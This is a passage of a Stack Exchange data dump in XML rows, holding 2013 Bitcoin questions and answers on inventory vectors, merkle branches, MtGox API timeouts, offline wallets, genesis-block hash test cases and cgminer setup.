&lt;a href=&quot;http://blockexplorer.com/q/hextarget&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockexplorer.com/q/hextarget&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-05-20T08:37:47.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11065" PostTypeId="2" ParentId="11060" CreationDate="2013-05-20T09:44:05.980" Score="1" Body="&lt;p&gt;Inventory vectors are a collection of inventory items, the ones that are described to be either of type block, transaction or error. Inventory items of type transaction and block are references to actual &lt;code&gt;block&lt;/code&gt; or &lt;code&gt;tx&lt;/code&gt; messages being available for retrieval.&#xA;As such they are used in two places in the protocol:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;inv&lt;/code&gt; message to communicate the availability of the respective full message&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;getdata&lt;/code&gt; message to ask for the full message&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The inventory item is implicitly limited to 32 bytes in payload (hash) and a 4 byte type. Currently they are not used besides the original two hash types, but there were a few ideas flying around about getting inner Merkle-Tree nodes as a support for SPV clients to query the current state of the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you can use anything you want in there, as long as you manage to stay inside the 32 byte + 4 byte limit, but preferably you'd keep the semantics of the hash + type being a reference to a retrievable item on the sender side.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-05-20T09:44:05.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11066" PostTypeId="1" AcceptedAnswerId="11074" CreationDate="2013-05-20T10:42:25.190" Score="5" ViewCount="984" Body="&lt;p&gt;When the Bitcoin client receives a transaction, it checks if the transaction is confirmed. This is done by verifying that the transaction hashes correctly, in the merkle tree, to the merkle root in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the client know which block holds the merkle root of the transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After finding the correct block, how is the merkle branch acquired?&lt;/p&gt;&#xA;" OwnerUserId="4783" LastActivityDate="2013-05-20T19:03:40.337" Title="How does a client get the merkle branch of a transaction?" Tags="|transactions|blockchain|verification|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11068" PostTypeId="1" CreationDate="2013-05-20T11:19:06.050" Score="1" ViewCount="369" Body="&lt;p&gt;i wrote a simple function to retrieve trades from mtgox with following HTTP API call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://data.mtgox.com/api/1/BTCUSD/trades?since&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;documented here: &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Multi_currency_trades&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Multi_currency_trades&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string GetTradesOnline(Int64 tid)&#xA;{&#xA;    Thread.Sleep(30000);&#xA;&#xA;    // communicate&#xA;    string url = &quot;https://data.mtgox.com/api/1/BTCUSD/trades?since=&quot; + tid.ToString();&#xA;    HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);&#xA;    HttpWebResponse response = (HttpWebResponse)request.GetResponse();&#xA;    StreamReader reader = new StreamReader(response.GetResponseStream());&#xA;&#xA;    string json = reader.ReadToEnd();&#xA;    return json;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i'm starting at tid=0 to get the data from the very beginning. it works fine for 5 requests &amp;amp; responses. but then the following line throws a &quot;System.Net.WebException&quot;, saying that &quot;The operation has timed out&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HttpWebResponse response = (HttpWebResponse)request.GetResponse();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this exception keeps being thrown even if i catch it and retry. it's always exactly at 5 requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while it has been failing for a couple of minutes, i try the 6th request in the browser and it works just fine while the function continues to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the strange thing is that it works for 5 requests everytime i start the application. currently, i always start at trade id 0 (tid=0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've increased the Sleep() inbetween requests to 2 minutes but it still behaves the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i change the url to &lt;a href=&quot;https://www.google.com&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com&lt;/a&gt;, it doesn't timeout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;any ideas of what could be wrong?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5131" LastEditorUserId="5131" LastEditDate="2013-05-20T11:33:01.133" LastActivityDate="2014-04-15T17:56:56.490" Title="MtGox http api &quot;trades since&quot; requests keep being timed out" Tags="|development|mtgox|api|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11069" PostTypeId="1" AcceptedAnswerId="11077" CreationDate="2013-05-20T11:26:08.677" Score="3" ViewCount="1108" Body="&lt;p&gt;There is a good tutorial for setting up a safe offline wallet with a regular bitcoin wallet &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_set_up_a_secure_offline_savings_wallet&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to set up a safe deterministic offline wallet (i.e. &lt;a href=&quot;https://en.bitcoin.it/wiki/Electrum&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt;). What would be the right steps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I just store the seed, or also backup the private keys?&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="5406" LastEditDate="2014-05-25T10:14:04.040" LastActivityDate="2014-05-25T10:14:04.040" Title="How do you safely set up a offline deterministic wallet?" Tags="|wallet|electrum|deterministic-wallets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11070" PostTypeId="2" ParentId="11068" CreationDate="2013-05-20T11:57:55.087" Score="1" Body="&lt;p&gt;MtGox uses CloudFlare for DDOS protection.  It's possible that your IP is being blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open a ticket with MtGox and tell them your IP... they may likely whitelist it.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-05-20T11:57:55.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11071" PostTypeId="2" ParentId="11036" CreationDate="2013-05-20T13:13:16.883" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/block-index/383911&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/block-index/383911&lt;/a&gt;&#xA;On blockchain.info you can see the transaction fees payd to the miner.&#xA;On the sample link Transaction Fees of $ 41.75 have been payd in 480 Transactions.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-05-20T13:13:16.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11072" PostTypeId="2" ParentId="11036" CreationDate="2013-05-20T13:47:28.467" Score="1" Body="&lt;p&gt;Let's look at an example. BTC Guild (www.btcguild.com) has about 33k GH/s. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.btcguild.com/index.php?page=pool_stats&quot; rel=&quot;nofollow&quot;&gt;https://www.btcguild.com/index.php?page=pool_stats&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's about one third of the whole Bitcoin network combined&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/charts/hash-rate?showDataPoints=false&amp;amp;timespan=&amp;amp;show_header=true&amp;amp;daysAverageString=7&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/hash-rate?showDataPoints=false&amp;amp;timespan=&amp;amp;show_header=true&amp;amp;daysAverageString=7&amp;amp;scale=0&amp;amp;address=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's imagine on average they mine one third of all the blocks.&#xA;That's 6*24 / 3 = 48 blocks in a day,&#xA;336 blocks in a week, and 1440 blocks in a month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now assume each block has a transaction fee of 0.5 BTC on average.&#xA;Now counting only transaction fee's:&#xA;That's 24 BTC in a day, 168 BTC in a week and 720 BTC in a month.&lt;/p&gt;&#xA;" OwnerUserId="3400" LastActivityDate="2013-05-20T13:47:28.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11074" PostTypeId="2" ParentId="11066" CreationDate="2013-05-20T19:03:40.337" Score="3" Body="&lt;p&gt;There is no way in the current P2P protocol to request a historical (=confirmed) transaction, without requesting the block it is in. Supporting that would require the peer to have a full index of all transactions ever, which isn't necessary for normal operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To request a transaction, you will either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;getdata MSG_TX &amp;lt;txid&amp;gt;&lt;/code&gt; to request a memory pool or recently relayed transaction. In this case, no block information exists.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;getdata MSG_BLOCK &amp;lt;blkid&amp;gt;&lt;/code&gt; to request a full block, in which case you get the block with it, and need to check the full merkle tree anyway.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;getdata MSG_FILTERED_BLOCK &amp;lt;blkid&amp;gt;&lt;/code&gt; to request a filtered block (see BIP37), in which case you can check the partial merkle tree to verify the transaction is indeed part of the block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-20T19:03:40.337" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11076" PostTypeId="1" AcceptedAnswerId="11078" CreationDate="2013-05-20T20:15:04.153" Score="2" ViewCount="1757" Body="&lt;p&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc4231&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC4231&lt;/a&gt; gives test cases for SHA256 with several different sets of gozintas and gozoutas. I'm looking for something similar for the SHA256 hash as implemented in the Bitcoin mining algorithm.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Based on the answers given, here is a very simple test in Python. Note that the generated digest must be reversed before the check, as the 256-bit digest is apparently returned with the least significant bits first.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;import hashlib&#xA;GENESIS_BLOCK = \&#xA;    '0100000000000000000000000000000000000000000000000000000000000000' + \&#xA;    '000000003BA3EDFD7A7B12B27AC72C3E67768F617FC81BC3888A51323A9FB8AA' + \&#xA;    '4B1E5E4A29AB5F49FFFF001D1DAC2B7C01010000000100000000000000000000' + \&#xA;    '00000000000000000000000000000000000000000000FFFFFFFF4D04FFFF001D' + \&#xA;    '0104455468652054696D65732030332F4A616E2F32303039204368616E63656C' + \&#xA;    '6C6F72206F6E206272696E6B206F66207365636F6E64206261696C6F75742066' + \&#xA;    '6F722062616E6B73FFFFFFFF0100F2052A01000000434104678AFDB0FE554827' + \&#xA;    '1967F1A67130B7105CD6A828E03909A67962E0EA1F61DEB649F6BC3F4CEF38C4' + \&#xA;    'F35504E51EC112DE5C384DF7BA0B8D578A4C702B6BF11D5FAC00000000'&#xA;GENESIS_HASH = \&#xA;    '000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f'&#xA;def check_hash(block = GENESIS_BLOCK, blockhash = GENESIS_HASH):&#xA;    '''&#xA;    check that the calculated hash matches what Bitcoin expects&#xA;&#xA;    &amp;gt;&amp;gt;&amp;gt; check_hash()&#xA;    True&#xA;    '''&#xA;    blockheader = block.decode('hex')[:80]&#xA;    header_hash = hashlib.sha256(blockheader).digest()&#xA;    check_hash = hashlib.sha256(header_hash).digest()&#xA;    return check_hash[::-1].encode('hex') == blockhash&#xA;&#xA;if __name__ == '__main__':&#xA;    print check_hash()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3758" LastEditorUserId="-1" LastEditDate="2021-10-07T07:05:27.390" LastActivityDate="2016-03-31T10:44:03.710" Title="test cases for hash algorithm anywhere?" Tags="|sha256|mining-technical-details|testing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11077" PostTypeId="2" ParentId="11069" CreationDate="2013-05-20T20:47:40.797" Score="3" Body="&lt;p&gt;On a deterministic wallet the only thing you need to keep safe is your seed / passphrase to be able to restore it in the future&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can find a tutorial on how to make transactions with an offline Electrum wallet using your Master Public Key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://electrum.org/tutorials.html#offline-mpk&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/tutorials.html#offline-mpk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-05-20T20:47:40.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11078" PostTypeId="2" ParentId="11076" CreationDate="2013-05-20T21:58:36.307" Score="1" Body="&lt;p&gt;First off, bitcoin uses SHA256d.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, the best testcase I can think of is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;genesis block&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetHash()      = 0x000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&#xA;hashMerkleRoot = 0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&#xA;txNew.vin[0].scriptSig     = 486604799 4 0x736B6E616220726F662074756F6C69616220646E6F63657320666F206B6E697262206E6F20726F6C6C65636E61684320393030322F6E614A2F33302073656D695420656854&#xA;txNew.vout[0].nValue       = 5000000000&#xA;txNew.vout[0].scriptPubKey = 0x5F1DF16B2B704C8A578D0BBAF74D385CDE12C11EE50455F3C438EF4C3FBCF649B6DE611FEAE06279A60939E028A8D65C10B73071A6F16719274855FEB0FD8A6704 OP_CHECKSIG&#xA;block.nVersion = 1&#xA;block.nTime    = 1231006505&#xA;block.nBits    = 0x1d00ffff&#xA;block.nNonce   = 2083236893&#xA;&#xA;CBlock(hash=000000000019d6, ver=1, hashPrevBlock=00000000000000, hashMerkleRoot=4a5e1e, nTime=1231006505, nBits=1d00ffff, nNonce=2083236893, vtx=1)&#xA;  CTransaction(hash=4a5e1e, ver=1, vin.size=1, vout.size=1, nLockTime=0)&#xA;    CTxIn(COutPoint(000000, -1), coinbase 04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73)&#xA;    CTxOut(nValue=50.00000000, scriptPubKey=0x5F1DF16B2B704C8A578D0B)&#xA;  vMerkleTree: 4a5e1e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-05-20T21:58:36.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11079" PostTypeId="2" ParentId="11076" CreationDate="2013-05-20T21:59:50.810" Score="1" Body="&lt;p&gt;You can take any raw block and its hash as an example. For example, use &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;the Genesis Block&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You need to take its header:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0100000000000000000000000000000000000000000000000000000000000000000000003BA3EDFD7A7B12B27AC72C3E67768F617FC81BC3888A51323A9FB8AA4B1E5E4A29AB5F49FFFF001D1DAC2B7C00&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(note the last byte changes from the original &lt;code&gt;01&lt;/code&gt; to &lt;code&gt;00&lt;/code&gt;, since block headers don't have transactions in them)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which hashes to&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2013-05-21T09:18:43.307" LastActivityDate="2013-05-21T09:18:43.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11080" PostTypeId="1" AcceptedAnswerId="11082" CreationDate="2013-05-20T22:02:56.277" Score="7" ViewCount="717" Body="&lt;p&gt;One of my colleagues is trying to use bitcoinjs with TestNet, but apparently it doesn't like TestNet headers, so it doesn't work. Is there any way to make to use bitcoinjs with TestNet? Is there some specific configuration needed?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="105" LastEditDate="2013-05-21T18:03:37.133" LastActivityDate="2013-05-21T18:03:37.133" Title="How to use bitcoinjs with TestNet?" Tags="|testnet|bitcoinjs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11081" PostTypeId="1" CreationDate="2013-05-20T22:43:13.347" Score="2" ViewCount="1520" Body="&lt;p&gt;Google has opened its Compute Engine and it has a &lt;a href=&quot;https://cloud.google.com/pricing/compute-engine&quot; rel=&quot;nofollow&quot;&gt;price list&lt;/a&gt;. How much would cost to mine a bitcoin block with Google Compute Engine?&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="5406" LastEditDate="2016-04-17T20:36:52.293" LastActivityDate="2016-04-17T20:36:52.293" Title="How much would cost to mine a block with Google Compute Engine?" Tags="|mining-profitability|cpu-mining|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11082" PostTypeId="2" ParentId="11080" CreationDate="2013-05-20T23:09:28.440" Score="5" Body="&lt;p&gt;You need to run your bitcoinjs-server exit with --testnet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoinjs run --testnet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-server#usage&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any existing public bitcoinjs exits running in testnet mode? I don't know.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-05-20T23:09:28.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11083" PostTypeId="1" AcceptedAnswerId="11085" CreationDate="2013-05-21T02:35:56.870" Score="7" ViewCount="45072" Body="&lt;p&gt;Both Bitcoin and Litecoin have an intensity setting when mining.  What does this mean?&lt;/p&gt;&#xA;" OwnerUserId="5146" LastEditorUserId="2306" LastEditDate="2016-03-09T23:10:25.063" LastActivityDate="2016-03-09T23:10:25.063" Title="What is mining intensity?" Tags="|cgminer|miner-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11084" PostTypeId="2" ParentId="11081" CreationDate="2013-05-21T03:45:54.017" Score="2" Body="&lt;p&gt;Even if it was a GPGPU cluster, you will not make a profit from the prices they are charging. Mining at this point is only profitable with FPGA, ASICs and certain GPUs pending power consumption. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-05-21T03:45:54.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11085" PostTypeId="2" ParentId="11083" CreationDate="2013-05-21T04:04:22.040" Score="7" Body="&lt;p&gt;Yes, this is related to GPU mining. From &lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/master/GPU-README#L95&quot; rel=&quot;nofollow&quot;&gt;cgminer's README&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;INTENSITY INFORMATION:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Intensity correlates with the size of work being submitted at any one&#xA;  time to a GPU. The higher the number the larger the size of work.&#xA;  Generally speaking finding an optimal value rather than the highest&#xA;  value is the correct approach as hash rate rises up to a point with&#xA;  higher intensities but above that, the device may be very slow to&#xA;  return responses, or produce errors.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would just leave it set to 'dynamic,' or &lt;code&gt;--intensity d&lt;/code&gt; . That will adjust it automatically depending on how long it takes to complete work.&lt;br&gt;&#xA;&lt;sub&gt;(&lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/v3.7.2/driver-opencl.c#L536&quot; rel=&quot;nofollow&quot;&gt;nitty-gritty details&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-12-24T06:34:24.347" LastActivityDate="2015-12-24T06:34:24.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11086" PostTypeId="1" CreationDate="2013-05-21T07:22:29.067" Score="4" ViewCount="1721" Body="&lt;p&gt;Circled in red:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IWA4K.png&quot; alt=&quot;Bitcoin wallet&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I hover over it I get the message &quot;8 active connections to the Bitcoin network&quot;. Should Is this number too low and how do I change it?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastActivityDate="2013-05-21T13:21:54.937" Title="What does this indicator mean in the right bottom cornor of the official Bitcoin wallet?" Tags="|wallet|network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11087" PostTypeId="1" AcceptedAnswerId="11111" CreationDate="2013-05-21T07:43:33.013" Score="1" ViewCount="5139" Body="&lt;p&gt;I installed Cgminer and created the batch file to run it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cgminer.exe -o http://pit.deepbit.net:8332 -u myemail@gmail.com_workerName -p s3cr3t&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I run it I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-05-21 00:39:34] Started cgminer 3.1.1  &#xA;[2013-05-21 00:39:34] Probing for an alive pool  &#xA;[2013-05-21 00:39:38] Pool 0 slow/down or URL or credentials invalid  &#xA;[2013-05-21 00:40:34] No servers were found that could be used to get work from .  &#xA;[2013-05-21 00:40:34] Please check the details from the list below of the servers you have input  &#xA;[2013-05-21 00:40:34] Most likely you have input the wrong URL, forgotten to ad d a port, or have not set up workers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="5406" LastEditDate="2016-04-28T13:21:27.577" LastActivityDate="2016-04-28T13:21:27.577" Title="cgminer not working on deepbit.net" Tags="|mining-pools|miner-configuration|cgminer|" AnswerCount="2" CommentCount="1" ClosedDate="2013-05-24T08:03:08.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="11088" PostTypeId="2" ParentId="11086" CreationDate="2013-05-21T09:14:16.557" Score="2" Body="&lt;p&gt;That icon indicates the state of your connection with the rest of the Bitcoin network. &quot;8 active connections&quot; mean that you are connected to 8 other clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you got 3 of the 4 bars with 8 active connections, it is enough. As far as I remember, I always had 3 bars, so I guess it's the default setting. Probably, to get the last bar you will have to manually configure more nodes to connect with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have 1 or 2 bars, there can possibly something wrong. Maybe your firewall blocks the port for Bitcoin (8333).&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-21T09:14:16.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11089" PostTypeId="1" CreationDate="2013-05-21T10:54:52.080" Score="5" ViewCount="2036" Body="&lt;p&gt;I just created an account and spend a frustrating hour reading help menus and trying to figure out how to post or reply to posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the buttons -- New Topic, Reply, Quote -- seem to be showing up.  Is there a verification step that I skipped?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm logged it.  I get the &quot;hello [user]&quot; message on top.&lt;/p&gt;&#xA;" OwnerUserId="5150" LastActivityDate="2018-05-15T08:58:26.710" Title="Why can't I participate on bitcointalk.org?" Tags="|bitcointalk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11090" PostTypeId="2" ParentId="11089" CreationDate="2013-05-21T11:05:11.533" Score="9" Body="&lt;p&gt;You should first make some posts on the &lt;a href=&quot;https://bitcointalk.org/index.php?board=39.0&quot;&gt;Newbies&lt;/a&gt; forum. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=177133.0&quot;&gt;This post&lt;/a&gt; explains the restrictions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Newbie Restrictions&lt;/strong&gt; You can only post in the Newbie and Local&#xA;  sub-forums till you have 5 posts and at least 4 hours on the forum. &#xA;  The other two restrictions are you need 1 post to be able to send a PM&#xA;  and 10 posts to put a link in your sig.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-21T11:05:11.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11092" PostTypeId="2" ParentId="11044" CreationDate="2013-05-21T13:17:01.060" Score="1" Body="&lt;p&gt;Error handling is not particularly well done. If you are specifying format=json errors should respond with status 500 and a text/plain message. But there may be errors HTML based errors as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the response is not JSON parsable then it should be considered the server has encountered a generic error.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2013-05-21T13:17:01.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11093" PostTypeId="2" ParentId="11086" CreationDate="2013-05-21T13:21:54.937" Score="1" Body="&lt;p&gt;Under &quot;settings&quot; --&gt; &quot;advanced settings&quot; --&gt; &quot;network&quot; you can change the connection type from UpnP to static (UpnP is default). The static port can be defined in the &quot;bitcoin.conf&quot;. Default port for static connection is 8333 if not differently defined in the bitcoin.conf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my personal setup i got a bitcoin node in a Virtualbox where the main machine connects through a VPN with all ports blocked. I have forwarded a random port on the VPN and activated UpnP on the bitcoin node, the node connects through the VPN with UpnP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option for this scenario would be to forward port 8333 on all firewalls/switches or whatever port defined in bitcoin.conf .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please take also into account that nodes need some time to connect. However, 8 connections should be fine for the average user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also to note, a running node is visible on the network, take blockchain.info connection log for example, an attacker could target, audit and exploit running nodes.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-05-21T13:21:54.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11094" PostTypeId="1" AcceptedAnswerId="11097" CreationDate="2013-05-21T14:55:35.053" Score="5" ViewCount="2300" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Target&lt;/a&gt; the target is a 256-bit number.&#xA;As the total hash-rate of the Bitcoin network rises, this number decreases to increase the difficulty. How much hash-rate (in terms of GHash/s) would cause the target to reach the minimum value? will the target ever get to 0? Does that mean it will be impossible to find a new block? (the minimum of a SHA256 hash is 0 which is not less than 0)&lt;/p&gt;&#xA;" OwnerUserId="3400" LastEditorUserId="5406" LastEditDate="2016-04-17T19:06:23.250" LastActivityDate="2016-04-17T19:06:23.250" Title="What is the hash-rate of the Bitcoin network that results in the maximum difficulty?" Tags="|hash|difficulty|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11095" PostTypeId="1" CreationDate="2013-05-21T15:05:46.857" Score="4" ViewCount="134" Body="&lt;p&gt;What was the first implementation of pooled mining? Who came up with it?&#xA;What protocol did they use and where can it be found?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2016-04-01T09:13:27.203" LastActivityDate="2016-04-01T09:13:27.203" Title="Who came up with pooled mining?" Tags="|mining-pools|history|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
